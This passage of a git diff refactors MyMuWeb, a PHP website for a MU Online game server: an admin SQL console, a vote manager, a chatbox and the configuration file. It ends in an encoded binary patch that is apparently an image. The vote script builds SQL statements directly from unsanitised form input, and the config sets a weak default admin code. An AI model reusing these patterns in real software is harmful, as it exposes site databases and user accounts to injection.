'; + echo '' . PHP_EOL; + $count = mssql_num_rows($sqlResult); + $column = mssql_num_fields($sqlResult); + for ($i = 0; $i < $count; $i++) { + $row = mssql_fetch_row($sqlResult); + if ($i === 0) { + for ($cn = 0; $cn < $column; $cn++) { + echo '' . PHP_EOL; } - elseif($sql_query_array[1] == 'TOP') {echo $sql_query_array[3+$cn];} - else {echo $sql_query_array[1+$cn];} - if($cn < $column - 1) {echo "' . PHP_EOL; } - echo "\n\n' . PHP_EOL; } - if($i < $num - 1) {echo "\n\n
'; + if (isset($sql_column_query)) { + $sql_column_query_row = mssql_fetch_row($sql_column_query_result); + echo $sql_column_query_row[0]; + } else { + echo $sql_query_array[1 + $cn]; + } + echo '\n";} + echo '
"; - } - for($c=0; $c < $column; $c++) { - echo $row[$c]; - if($c < $column - 1) {echo "\n";} + echo '
' . implode('', $row) . '
";} + echo '
' . PHP_EOL . '
'; + } + if ($substrQuery === 'insert') { + echo '
Result:
' . PHP_EOL + . ''; + } + if ($substrQuery === 'update') { + echo '
Result:
' . PHP_EOL + . $sqlQuery; } - echo "
\n
"; - } - if($substr_query == 'DECLAR' || $substr_query == 'Declar' || $substr_query == 'declar') { - mssql_query($sql_query); - echo "
Result:
\n"; - echo "\n"; - } - if($substr_query == 'UPDATE' || $substr_query == 'Update' || $substr_query == 'update') { - echo "
Result:
\n"; - echo $sql_query; - } } -echo $query_result; +echo $queryResult; ?> - - - - -
-
+
SQL Query -
- - - - - - - -
-
-
-
+
+ +
+ +
+
+ + +
+
+ - \ No newline at end of file +/!\ Access Denied!'); +} // Votes Script by Vaflan -if(isset($_POST["new_id_vote"])) { - $question = $_POST['question']; - $answer1 = $_POST['answer1']; - $answer2 = $_POST['answer2']; - $answer3 = $_POST['answer3']; - $answer4 = $_POST['answer4']; - $answer5 = $_POST['answer5']; - $answer6 = $_POST['answer6']; - if(empty($question)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - $time = time(); - mssql_query("INSERT INTO MMW_votemain(question,answer1,answer2,answer3,answer4,answer5,answer6,add_date) VALUES ('$question','$answer1','$answer2','$answer3','$answer4','$answer5','$answer6','$time')"); - echo "$warning_green Vote SuccessFully Added!"; - writelog("a_vote","Vote: $question Has Been Added"); - } +if (isset($_POST['new_id_vote'])) { + $question = $_POST['question']; + $answer1 = trim($_POST['answer1']); + $answer2 = trim($_POST['answer2']); + $answer3 = trim($_POST['answer3']); + $answer4 = trim($_POST['answer4']); + $answer5 = trim($_POST['answer5']); + $answer6 = trim($_POST['answer6']); + $time = time(); + if (empty($question)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_votemain(question,answer1,answer2,answer3,answer4,answer5,answer6,add_date) VALUES ('$question','$answer1','$answer2','$answer3','$answer4','$answer5','$answer6','$time')"); + echo $mmw['warning']['green'] . 'Vote SuccessFully Added!'; + writelog('a_vote', 'Vote: ' . $question . ' Has Been Added'); + } } -if(isset($_POST["edit_id_vote"])) { - $id_vote = $_POST["edit_id_vote"]; - $question = $_POST['question']; - $answer1 = $_POST['answer1']; - $answer2 = $_POST['answer2']; - $answer3 = $_POST['answer3']; - $answer4 = $_POST['answer4']; - $answer5 = $_POST['answer5']; - $answer6 = $_POST['answer6']; - if(empty($id_vote) || empty($question)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("Update MMW_votemain set [question]='$question',[answer1]='$answer1',[answer2]='$answer2',[answer3]='$answer3',[answer4]='$answer4',[answer5]='$answer5',[answer6]='$answer6' where [ID]='$id_vote'"); - echo "$warning_green $old_name Server SuccessFully Edited!"; - writelog("a_vote","Vote: $id_vote ([question]='$question',[answer1]='$answer1',[answer2]='$answer2',[answer3]='$answer3',[answer4]='$answer4',[answer5]='$answer5',[answer6]='$answer6') Has Been Edited"); - } +if (isset($_POST['edit_id_vote'])) { + $idVote = $_POST['edit_id_vote']; + $question = $_POST['question']; + $answer1 = trim($_POST['answer1']); + $answer2 = trim($_POST['answer2']); + $answer3 = trim($_POST['answer3']); + $answer4 = trim($_POST['answer4']); + $answer5 = trim($_POST['answer5']); + $answer6 = trim($_POST['answer6']); + if (empty($idVote) || empty($question)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.MMW_votemain SET [question]='$question',[answer1]='$answer1',[answer2]='$answer2',[answer3]='$answer3',[answer4]='$answer4',[answer5]='$answer5',[answer6]='$answer6' WHERE [id]='{$idVote}'"); + echo $mmw['warning']['green'] . 'Vote SuccessFully Edited!'; + writelog('a_vote', 'Vote: ' . print_r($_POST, true) . ' Has Been Edited'); + } } -if(isset($_POST["delete_id_vote"])) { - $id_vote = $_POST["delete_id_vote"]; - if(empty($id_vote)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("DELETE FROM MMW_votemain WHERE ID='$id_vote'"); - mssql_query("DELETE FROM MMW_voterow WHERE id_vote='$id_vote'"); - echo "$warning_green Vote SuccessFully Deleted!"; - writelog("a_vote","Id Vote: $id_vote Has Been Deleted"); - } +if (isset($_POST['delete_id_vote'])) { + $idVote = $_POST['delete_id_vote']; + if (empty($idVote)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_votemain WHERE id='$idVote'"); + mssql_query("DELETE FROM dbo.MMW_voterow WHERE id_vote='$idVote'"); + echo $mmw['warning']['green'] . 'Vote SuccessFully Deleted!'; + writelog('a_vote', 'ID Vote: ' . $idVote . ' Has Been Deleted'); + } } ?> - - - - - - - - -
-
- +
+ Edit Vote -
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
Question +
Answer 1 +
Answer 2 +
Answer 3 +
Answer 4 +
Answer 5 +
Answer 6 +
+ + + +
-
- + + Add Vote -
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
+ + + +
-
- -
-
-
- Server List + + +
+
+ Server List - - - - - - - - - - -"; - $table_delete = ""; - - $all_answers = 0; - for($c=2; $c < 8; ++$c) { - if($row[$c]!=' ' && isset($row[$c])) {$all_answers = $all_answers +1;} - } - - $all_votes_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$row[0]'"); - $all_votes = mssql_num_rows($all_votes_res); -?> - - - - - - - - - - -
#QuestionAnswersVotesDateEditDelete
.
+ + + + + + + + + + + + + + + + + + + + + + + +
#QuestionAnswersVotesDateEditDelete
. +
+ + +
+
+
+ + +
+
-
-
+ diff --git a/chatbox.php b/chatbox.php index 26f73a6..6c5c87d 100644 --- a/chatbox.php +++ b/chatbox.php @@ -1,88 +1,126 @@ - - + + - ChatBox - <?echo $mmw[webtitle];?> - - + ChatBox - <?php echo $mmw['webtitle']; ?> + - - - - - + + + + - - + - - + $option = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['chat_delete'] == 1) { + $option .= << +
-
- ";} +
+
+ $option[$time] $row[f_char]: $message
"; - } -} -?> - -
-
-'$timeout' AND online_char!=''"); -$num = mssql_num_rows($result); -echo '' . mmw_lang_who_is_on_web . '
'; -if($num < 1) {echo mmw_lang_there_is_nobody;} -else { - for($i=0; $i<$num; $i++) { - $acc_online = mssql_fetch_row($result); - $character_result = mssql_query("Select name,CtlCode,clevel,reset From Character WHERE name='$acc_online[0]'"); - $character_row = mssql_fetch_row($character_result); + $character_result = mssql_query("SELECT Name, CtlCode FROM dbo.Character WHERE NAME='{$row['f_char']}'"); + $character_row = mssql_fetch_row($character_result); - $title = ""; - echo "$character_row[0] [$character_row[3]/$character_row[2]]
"; - } -} -?> -
-
+
+ '{$timeout}'"); + $num = mssql_num_rows($result); + echo '' . mmw_lang_who_is_on_web . ''; + if ($num < 1) { + echo '
' . mmw_lang_there_is_nobody . '
'; + } else { + while ($row = mssql_fetch_row($result)) { + echo << + + {$row[0]} [{$row[3]}/{$row[2]}] + +
+HTML; + } + } + ?> + +
\ No newline at end of file diff --git a/config.php b/config.php index ac500b5..2c15eb5 100644 --- a/config.php +++ b/config.php @@ -1,150 +1,196 @@ - '0', +]; +$mmw['enable_credits'] = false; // Register and add new account to MEMB_CREDITS Table +$mmw['info_gm_and_blocked'] = true; // Show info about GM and Blocked Char // Switch Character Options -$mmw[reset] = 'yes'; // yes(All Can Reset) no(Options Off). -$mmw[add_point] = 'yes'; // yes(All Can Add Point) no(Options Off). -$mmw[pk_clear] = 'yes'; // yes(All Can PK Clear) no(Options Off). -$mmw[move] = 'yes'; // yes(All Can Move) no(Options Off). -$mmw[change_class] = 'yes'; // yes(All Can Change Class) no(Options Off). - +$mmw['reset'] = true; // TRUE(All Can Reset) FALSE(Options Off). +$mmw['add_points'] = true; // TRUE(All Can Add Point) FALSE(Options Off). +$mmw['clear_pk'] = true; // TRUE(All Can Clear PK) FALSE(Options Off). +$mmw['move'] = true; // TRUE(All Can Move) FALSE(Options Off). +$mmw['move_list'] = array( + //array('NUMBER_LOCATION','X','Y'), + array('0', '125', '125'), + array('1', '232', '126'), + array('2', '211', '40'), + array('3', '175', '112'), + array('4', '209', '71'), + array('6', '64', '116'), + array('7', '24', '19'), + array('8', '187', '58'), + array('10', '15', '13') +); +$mmw['change_class'] = true; // TRUE(All Can Change Class) FALSE(Options Off). +$mmw['change_class_list'] = array( + //array('NUMBER_CLASS','PRICE'), + array(0, 1000000000), + array(1, 10000000000), + array(2, 100000000000), + array(16, 1000000000), + array(17, 10000000000), + array(18, 100000000000), + array(32, 1000000000), + array(33, 10000000000), + array(34, 100000000000), + array(48, 3000000000), + array(49, 300000000000), + array(64, 3000000000), + array(65, 300000000000), + array(80, 1000000000), + array(81, 10000000000), + array(82, 10000000000), +); // News -$mmw[max_post_news] = '5'; // Max News in 1 Page -$mmw[long_news_txt] = '220'; // Long News Text, if 0 this options off -$mmw[news_row_1] = '
English:
'; // News Row 1 -$mmw[news_row_2] = '
Russian:
'; // News Row 2 -$mmw[news_row_3] = '
Latvian:
'; // News Row 3 - +$mmw['max_post_news'] = 3; // Max News in 1 Page +$mmw['long_news_txt'] = 0; // Long News Text, if 0 this options off +$mmw['news_row_1'] = '
English:
'; // News Row 1 +$mmw['news_row_2'] = '
Russian:
'; // News Row 2 +$mmw['news_row_3'] = '
Latvian:
'; // News Row 3 // Chat -$mmw[chat_autoreload] = '10'; // AutoReload ChatBox sec -$mmw[chat_max_post] = '40'; // Max Post on ChatBox -$mmw[chat_timeout] = '10'; // TimeOut Send Message sec - +$mmw['chat_auto_reload'] = 10; // AutoReload ChatBox sec +$mmw['chat_max_post'] = 50; // Max Post on ChatBox +$mmw['chat_timeout'] = 3; // TimeOut Send Message sec // Statistics -$mmw[statistics_char] = '0,1,2,16,17,18,32,33,34,48,50,64,66,80,81,82'; // List of Character -$mmw[statistics_maps] = '0,1,2,3,4,6,7,8,10,30,31,33,34,41,42,51,56,57'; // List of Locations (Maps) - +$mmw['gens'] = true; // Show Gens Sort in Rankings +$mmw['characters_class'] = 7; // Maximal is 11 classes +$mmw['statistics_char'] = '0,1,2,16,17,18,32,33,34,48,50,64,66,80,81,82,96,98'; // List of Character +$mmw['statistics_maps'] = '0,1,2,3,4,6,7,8,10,30,31,33,34,41,42,51,56,57'; // List of Locations (Maps) // Reset System -$mmw[reset_level_dw] = '400'; // Level For Reset DW,SM,GrM -$mmw[reset_level_dk] = '400'; // Level For Reset DK,BK,BM -$mmw[reset_level_elf] = '400'; // Level For Reset Elf,ME,HE -$mmw[reset_level_mg] = '400'; // Level For Reset MG,DM -$mmw[reset_level_dl] = '400'; // Level For Reset DL,LE -$mmw[reset_level_sum] = '400'; // Level For Reset Sum,Bsum,Dim -$mmw[reset_limit_level] = '999'; // Max Reset (Limit) -$mmw[reset_limit_price] = '0'; // Limited Price For Reset or 0 -$mmw[reset_money] = '10000000'; // Zen for Reset (Min 1kk) -$mmw[reset_system] = 'yes'; // yes(Zen*Reset) or no(Default) -$mmw[reset_points_dw] = '100'; // Reset Points DW,SM,GrM -$mmw[reset_points_dk] = '100'; // Reset Points DK,BK,BM -$mmw[reset_points_elf] = '100'; // Reset Points Elf,ME,HE -$mmw[reset_points_mg] = '100'; // Reset Points MG,DM -$mmw[reset_points_dl] = '100'; // Reset Points DL,LE -$mmw[reset_points_sum] = '100'; // Reset Points Sum,Bsum,Dim -$mmw[reset_mode] = 'keep'; // reset(Points = 25) or keep(Default) -$mmw[reset_command] = 'no'; // If reset mode = keep, can keep command on DL -$mmw[level_up_mode] = 'normal'; // extra(ResetPoints*Reset) or normal(Points+ResetPoints) -$mmw[check_inventory] = 'no'; // no(NO Check) or yes(Check) -$mmw[clean_inventory] = 'no'; // no(NO Clean) or yes(Clean) -$mmw[clean_skills] = 'no'; // no(NO Clean) or yes(Clean) -$mmw[mix_cs_memb_reset] = 'no'; // yes(Reset Zen - Mix CastleSiege Reset Zen) or no(Default) -$mmw[max_zen_cs_reset] = '100000000'; // Max Zen Need in CastleSiege Bank % For Reset Members Castle Siege (Min 1kk) -$mmw[num_for_mix_cs_reset] = '10'; // How many '/' Max Zen to create % (Can't 0) - +$mmw['reset_column'] = 'ResetCount'; // Column name in database +$mmw['reset_level']['dw'] = 400; // Level For Reset DW,SM,GrM +$mmw['reset_level']['dk'] = 400; // Level For Reset DK,BK,BM +$mmw['reset_level']['fe'] = 400; // Level For Reset Elf,ME,HE +$mmw['reset_level']['mg'] = 400; // Level For Reset MG,DM +$mmw['reset_level']['dl'] = 400; // Level For Reset DL,LE +$mmw['reset_level']['sm'] = 400; // Level For Reset Sum,Bsum,Dim +$mmw['reset_level']['rf'] = 400; // Level For Reset RF,FM +$mmw['reset_limit_level'] = 999; // Max Reset (Limit) +$mmw['reset_limit_price'] = 0; // Limited Price For Reset or 0 +$mmw['reset_money'] = 10000000; // Zen for Reset (Min 1kk) +$mmw['reset_money_system'] = true; // TRUE(Zen*Reset) or FALSE(Default) +$mmw['reset_points']['dw'] = 100; // Reset Points DW,SM,GrM +$mmw['reset_points']['dk'] = 100; // Reset Points DK,BK,BM +$mmw['reset_points']['fe'] = 100; // Reset Points Elf,ME,HE +$mmw['reset_points']['mg'] = 100; // Reset Points MG,DM +$mmw['reset_points']['dl'] = 100; // Reset Points DL,LE +$mmw['reset_points']['sm'] = 100; // Reset Points Sum,Bsum,Dim +$mmw['reset_points']['rf'] = 100; // Reset Points RF,FM +$mmw['reset_points_drop'] = true; // TRUE(Points = 25) or FALSE(Default) +$mmw['reset_command_drop'] = true; // TRUE(Command = 25) or FALSE(Default) +$mmw['reset_points_mode'] = true; // TRUE(ResetPoints*Reset) or FALSE(Default Points+ResetPoints) +$mmw['reset_check_inventory'] = false; // FALSE(NO Check) or TRUE(Check) +$mmw['reset_clean_inventory'] = false; // FALSE(NO Clean) or TRUE(Clean) +$mmw['reset_clean_skills'] = false; // FALSE(NO Clean) or TRUE(Clean) +$mmw['cs_memb_reset_discount'] = true; // TRUE(Reset Zen - CastleSiege Reset Zen Discount) or FALSE(Default) +$mmw['cs_memb_reset_must_have_zen'] = '100000000'; // Max Zen Need in CastleSiege Bank % For Reset Members Castle Siege +$mmw['cs_memb_reset_max_percent'] = '10'; // How many % For Max Zen in CastleSiege Bank (Can't 0) // Castle Siege and JoinServer -$mmw[server_timeout] = '60'; // kesh Server TimeOut (sec) -$mmw[castle_siege] = 'yes'; // yes(Is set in Web) no (no in Web) -$mmw[mu_castle_data] = 'includes/MuCastleData.dat'; // Default Server File MuCastleData.dat -$mmw[gs_cs_ip] = '127.0.0.1'; // Castle Siege IP -$mmw[gs_cs_port] = '55901'; // Castle Siege port -$mmw[joinserver_port] = '55970'; // Join Server port for GM Message +$mmw['server_timeout'] = 60; // cache Server TimeOut (sec) +$mmw['castle_siege']['switch'] = true; // TRUE(Is set in Web) FALSE(Turned off in Web) +$mmw['castle_siege']['data'] = 'includes/MuCastleData.dat'; // Default Server File MuCastleData.dat +$mmw['castle_siege']['ip'] = '127.0.0.1'; // Castle Siege IP +$mmw['castle_siege']['port'] = '55901'; // Castle Siege port +$mmw['joinserver']['ip'] = '127.0.0.1'; // Join Server port for GM Message +$mmw['joinserver']['port'] = '55970'; // Join Server port for GM Message // Admin Panel SecurityCode & MMW status (5 - GameMaster, 10 - Administrator) -$mmw[admin_securitycode] = '4321'; // Admin Panel Security Code (Max 10 simbyl) -$mmw[status_rules] = array( // array(name,admin_panel,gm_option,gm_block,gm_msg,hex_wh,comment_delete,forum_add,forum_delete,forum_status,image_delete,chat_delete), - 10 => array('name'=>'Administrator','admin_panel'=>1,'gm_option'=>1,'gm_block'=>1,'gm_msg'=>1,'hex_wh'=>1,'comment_delete'=>1,'forum_add'=>1,'forum_delete'=>1,'forum_status'=>1,'image_delete'=>1,'chat_delete'=>1), - 5 => array('name'=>'Game Master','gm_option'=>1,'gm_block'=>1,'gm_msg'=>1,'hex_wh'=>1,'comment_delete'=>1,'forum_add'=>1,'forum_delete'=>1,'forum_status'=>1,'image_delete'=>1,'chat_delete'=>1), - 0 => array('name'=>'Member') +$mmw['admin_security_code'] = '4321'; // Admin Panel Security Code (Max 10 simbyl) +$mmw['status_rules'] = array( + // array(name,admin_panel,gm_option,gm_block,gm_msg,hex_wh,comment_delete,forum_add,forum_delete,forum_status,image_delete,chat_delete), + 10 => array('name' => 'Administrator', 'admin_panel' => 1, 'gm_option' => 1, 'gm_block' => 1, 'gm_msg' => 1, 'hex_wh' => 1, 'comment_delete' => 1, 'forum_add' => 1, 'forum_delete' => 1, 'forum_status' => 1, 'image_delete' => 1, 'chat_delete' => 1), + 5 => array('name' => 'Game Master', 'gm_option' => 1, 'gm_block' => 1, 'gm_msg' => 1, 'hex_wh' => 1, 'comment_delete' => 1, 'forum_add' => 1, 'forum_delete' => 1, 'forum_status' => 1, 'image_delete' => 1, 'chat_delete' => 1), + 0 => array('name' => 'Member'), ); - - - - - - - // Config of site made off. Thank You! // Engine MyMuWeb. Don't Edit Please! // All this engine by Vaflan! -$warning_red = '/!\'; $warning_green = '/!\'; -$mmw[version] = chr(hexdec('30')).'.'.chr(hexdec('38')); if($mmw[show_all_error] == 'no') {error_reporting(0);} -$sql_die_start = "
MMW Result:
";$sql_die_end = "
"; -if($mmw[sqlpass]=='Password' || $mmw[sqluser]=='Login' || $mmw[database]=='DataBase' || $mmw[sqlhost]=='IP Address') {die("$sql_die_start Please Check config.php! $sql_die_end");} -if(!extension_loaded('mssql')) {die("$sql_die_start Loading php_mssql.dll Falied!
Please Enable php_mssql.dll in your php.ini $sql_die_end");} -$mssql_connect = @mssql_connect($mmw[sqlhost],$mmw[sqluser],$mmw[sqlpass]) or die("$sql_die_start MSSQL server is offline OR I can't Access to it! $sql_die_end"); -@mssql_select_db($mmw[database], $mssql_connect) or die("$sql_die_start Database don't exists OR I can't Access to it! $sql_die_end"); -if(isset($_POST[set_theme])) {$_SESSION[theme] = preg_replace("/[^a-zA-Z0-9_-]/",'',$_POST[set_theme]);} -if(isset($_GET[theme])) {$_SESSION[theme] = preg_replace("/[^a-zA-Z0-9_-]/",'',$_GET[theme]);} -if(isset($_SESSION[theme])) {$mmw[theme] = $_SESSION[theme];} -@include("themes/$mmw[theme]/info.php"); -$alpha_num = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; -$mmw[rand_id] = substr(str_shuffle($alpha_num), 0, 8); -?> \ No newline at end of file +if (!$mmw['show_all_error']) { + error_reporting(0); +} +require_once __DIR__ . '/includes/mmw_sql.php'; +@include_once __DIR__ . '/includes/installed.php'; +$mmw['rand_id'] = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8); +$mmw['version'] = chr(hexdec('30')) . '.' . chr(hexdec('39')); +$mmw['warning']['red'] = '/!\ '; +$mmw['warning']['green'] = '/!\ '; +$mmw['die']['start'] = '
SYSTEM RESPONSE
'; +$mmw['die']['end'] = '
'; +if ($mmw['sql']['pass'] === 'Password' || $mmw['sql']['user'] === 'Login' || $mmw['sql']['database'] === 'DataBase' || $mmw['sql']['host'] === 'IP Address') { + die($mmw['die']['start'] . 'Please Check config.php!' . $mmw['die']['end']); +} +if (!function_exists('mssql_connect')) { + die($mmw['die']['start'] . 'Loading php_mssql.dll Falied!
Please Enable php_mssql.dll in your php.ini' . $mmw['die']['end']); +} +$mssql_connect = mssql_connect($mmw['sql']['host'], $mmw['sql']['user'], $mmw['sql']['pass']) or die($mmw['die']['start'] . 'MSSQL server is offline OR I can`t Access to it!' . $mmw['die']['end']); +mssql_select_db($mmw['sql']['database'], $mssql_connect) or die($mmw['die']['start'] . 'Database don`t exists OR I can`t Access to it!' . $mmw['die']['end']); diff --git a/decode.php b/decode.php deleted file mode 100644 index 28823d9..0000000 --- a/decode.php +++ /dev/null @@ -1,51 +0,0 @@ - \ No newline at end of file diff --git a/error.php b/error.php index a85bcce..952a115 100644 --- a/error.php +++ b/error.php @@ -1,10 +1,10 @@ -Fucking Sheller';} -else {$error = $error;} -Die("
/!\ ErroR #$error !
by Vaflan
"); -?> \ No newline at end of file +$error = isset($_GET['go']) ? intval($_GET['go']) : 0; +if ($error < 1) { + $error = '999
Fucking Sheller!'; +} + +die('
/!\ ErroR #' . $error . '
MyMuWeb by Vaflan
'); diff --git a/image_verify.php b/image_verify.php deleted file mode 100644 index 4f1113e..0000000 --- a/image_verify.php +++ /dev/null @@ -1,60 +0,0 @@ - \ No newline at end of file diff --git a/images/admin.css b/images/admin.css deleted file mode 100644 index b279b98..0000000 --- a/images/admin.css +++ /dev/null @@ -1,29 +0,0 @@ -/* Global */ -body {background: #DDDDDD; font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;} -table,td {font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;} - -a:link {font-size: 13px; color: #000000; text-decoration: none;} -a:visited {font-size: 13px; color: #000000; text-decoration: none;} -a:active {font-size: 13px; color: #000000; text-decoration: none;} -a:hover {font-size: 13px; color: #FF0000; text-decoration: none;} - -.online {font-size: 12px; color: #00ff00;} -.offline {font-size: 12px; color: #ff0000;} - -input,select {color: #000000; padding: 0px; vertical-align: center; font-size: 9px; font-weight: bold; font-family: Tahoma, Verdana, Arial;} -textarea {color: #000000; padding: 2px; vertical-align: center; font-size: 12px; font-family: Tahoma, Verdana, Arial;} -select.selections {font-family: "Arial"; font-size: 12px; line-height: 14px; color: #f2e5cd; text-decoration: none; background-color: #494949;} -form,img {display: inline; padding: 0; margin: 0; border: 0;} -fieldset {border: 1px solid #121212; background: #DDDDDD; padding: 2px;} -legend {color: #ff0000; background: #ffffff; font: 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;} - -.sort-table td {border: 1px solid ThreeDShadow; background: Window; color: WindowText; padding: 2px 5px; font-size: 12px;} -.sort-table thead td {border: 1px solid; background: #FFAA55; padding: 2px 5px; border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;} - -.login_stats {border: 0px; padding: 0px;} -.sized {max-width:600px; width:expression(this.scrollWidth > 600? "600px" : "auto" ); overflow:auto; overflow-y:hidden;} -.copyright {font-size: 10px; color: #101010;} - -.news-table {border: 1px solid #898989; margin: 2px;} -.news-body {border-top: 1px solid #BBBBBB;} -/* --------------- */ \ No newline at end of file diff --git a/images/captcha.php b/images/captcha.php new file mode 100644 index 0000000..29d66a6 --- /dev/null +++ b/images/captcha.php @@ -0,0 +1,59 @@ +d{BNk%w1VSoUK0OtV!00030|Nm<;G=On(UqM82Pg9U_bgNZk#C(Sm3=Ne$ zQ)3h?)0V0s9v_s8k9k*TT}D%0TU~NMXGa`ATq{;eK}kClIWi40L@z|o&Cfd|JSzk) zGa)sDc!Vq*E-Do*V@YRcQ)-NUjw2K%ytlnbGEG%IT3kh8Z&Y=1Wpzz9Q+#oMp`D^c zE=xWtL_sM@d}o7hWpQ?Gc`Fq&GaWlE8#Fs5Lp38jI4eCQ6f8$9R3;iMVOeEoUuz)_ zD;y0Z9TFohA~h8W9acPNEgL#DB0?nVC``5bl*1PrD!L({K(Uob|qI}z` zgygb}?7Nigznt^NqxH+G?8Bt|)U@%=vijV_-pIGqnsei|l+>z>=enBRvz6n!p5(ow z>&C3+!>h)rmG|Dvp;IHshh5{WiR-nL+pCS#ub1x8zF$;Lubhy=t)R`gtICgV)SP|H zmUz{ogwv&rgJ@aewVdm|q}{Wdz@(Jw%elR$n(5WbxO!XLqJ+zxh2O4}+O3tkn1|!O zs@%Ay=Ebzas-Ec0zj$k8hdvvfU`4xwX}gVg+og<-d~}(JfacrQZ!8d*a9`4|pv9({ zxt^1wlZ@u!->z*`qK$=lNH{etDUwb+gIG=&6ceg}1m& zX!z))6O6%_b(>`N#6ti9^?=vwM0fcEtct_ZDw?s#D!Utu&N3TqsA!R8Ew zsxIZY`DQWdnDy6}VU5L10SP<|@k6>QM}W0KE-cx5odwo$cl%1`qI+MagO9Ci5r9)a zjS%_rL&J$>G+6PZWougMX{J&(%;YAtb}ue6V$K56wdul+$yl=` zR@7r{PQW*YH-yv71Weqv&G-uSI9biAQ{f_uSdNnFXr(29t@wKWjftTnbj9e_n$8dE zwyHi{S@5`y7VNSMZEsrk+@6xHy7S(;EBUr$g1n)V}BKV{GClmM3&KYO#=sT?tMA|U4w22^a5P&|eaKlurS5@O+p;@FZv zoV0H(QIih8BnOnvw5L5&Y9BL(#|#17&TPDLpg@u{!UD`p0BjpkJi>vF5jjOS?Ewrk zU}TzM^)M~|fQz7+MkE0E#Y=^hz{&8;B!G0xV}{{)VmMUvwluv>B_C`He`XjDbXZI* z^bi0g(5AwFP=YN4kYPM}L5*-wgBtIchd9Dfv%U0WK%vspUMd#FaJ=Ik)Bs1u2;dK; zmGOaSR3jVR2uC^6kwt5{<820{$9svTkADp0ARDMcB?zuQ@fZgisnLsG%rP0%*j$RR zcpJ88u`QH=;vB_6jbo648k!^IAqnCSO$}o$#I0wivR)VO6eNl}Ven8FlMl+7jERh@8{DLC;!tadMG}}e#wjp?iBps_76a8> z0Xlj}eL!tVg3{_BL9H~G>PtR$Ja$>ZU zo1;fP;9|(@aU!Lg6F_iCc?_sR)uk;xMJjlT)4i5r9HqePR9A6{o>r8nK8=Mn9ZHX5 zh@%`SG#milYR$OLm8o_OEKVh%SH4me6Mxn0R53wV!|t@FX8~fPErY!-aK>i0c zVlj`}(j%azjOsik!HQLQq7yEys3}~^*}xta70BglRa2pgmY$QEv3zDM#NpbPDZwAd zKnFSiN}0x%5*ejX1}j*BiB5dN6^_V6C(aqwigK2-hb^ll%5ALGWQaNEvqRUv57~BA`>9)gl0@i zide>0w#;y#0N%k1UNG_u*K3r=ui9{LysCkpB3W5f~Q^8h3%B#~b{DO1toz!0(iYkQ3OegdlEfVe)4 zF%EqQ4IldO$tA+t3oKJZw$vbF?DRz)(DDVBE(^B9y#Mksdih;v$8 znok6$yjS4}O;A|tTMv0#T}gDItnqj-zC=s@UTLI}}I0?>qSG>U&Dj8R2a z5@k%L&|!?ggQuX1r@&c?WlfsMM)43A4m1za*o%3wh`^YQrf64Wbqw)v49V~cyTAy& z7KP_Thx;{zrAQ6@z)5MN4^4&+2mt_;Fb_o-XxIoyrs!&P$Wy8?XpiOzv4jqjKwOtd zO{F-B32=t#hYp>lXuR@K2~dPZ$Yp;7{zy%wS(4yyh;?(?bxt#vUwajj1UZEIz$q#u z7M&Ik`ao3w;16)IhNIA8P8gGJM+*JsQn1s9r4SCh@D4n63AqQ7KvhbM7!EBnl&dpB z_i+W+puKMQ`Iy0s#O@ z@K9KWW#B-D6#15IG(|)tIJdKDg2E*4_LVh9gwFR8ebPIGIUI%=Qi%yui^-NTNlK8} zU6VO*U$i+rAr6@th@6=i-O@V)R+hCAlrT|SMYxzPMurG>Xp0tZ#c6QEwrC|~ih-DF zwpb6{f{?wE006Z);Q*Ko@JsamaGIxy4p~`tr1TC02Qm(Clyw4?Y}$oo;Q(u3 zu@A460NX_m+7+P&_eTD?nBM7PqNrs6N1nCCU6e6QS~igns(i2}p-TgpcScg%1#7fK zgult1C<&i1`A6ibYUluK>;?|m$f1<+o{iar^?-{ls)Bx^oZv7If-@reP)ZKhp-ssP z+I4D8SW0k|NjxzuZv>SDnQEN|pVJ3x`^ldvCNKWrq)@sSCiXP|yT#W@cu5WeR6yf`1yESk|KVuxR&& zfJFiqAl0I<#x`rTY-8x3Eyk+e>25NJS1u)&#D!7ImTIi3tAS>muvR*q*dTCW6)-`p zizWc`FodU>tf#rGok|%|7)?AFt6vCISGugrx`>M@4#kzcBNOUvJuIQ4yd8}a4p49pEChcCUFv=!3-lia87ozj+(A1yR77i zv`KrT7mKmeXM*7XL;5flBp?lo@lpQJvp6CYLEB_kwwN@_ofi9^N{f{(MxJK-pV(To zRT{O5Mzzu~Mj+*}9+8&tKp1K9GeOG_D2c9NYqaXxX*v3*f9j|f3$|=)g1dN>^*{jd zPz)|Hw{*J^{@M;XQWh=(4|{t%eygftJGNvSoXm)@3ahJ5yO`_tqw*jR{jd^^(h^uJ z5(z*F(qIh4@E0(G596>1=1>kJyJ%fRv_<>5oXW7%2exWkuTPt>qoAn7rVrUr47#8b z!aBJR{&bii^%5V2wMuyx10XSt&ky1^vbZHd$>f4yo{+` 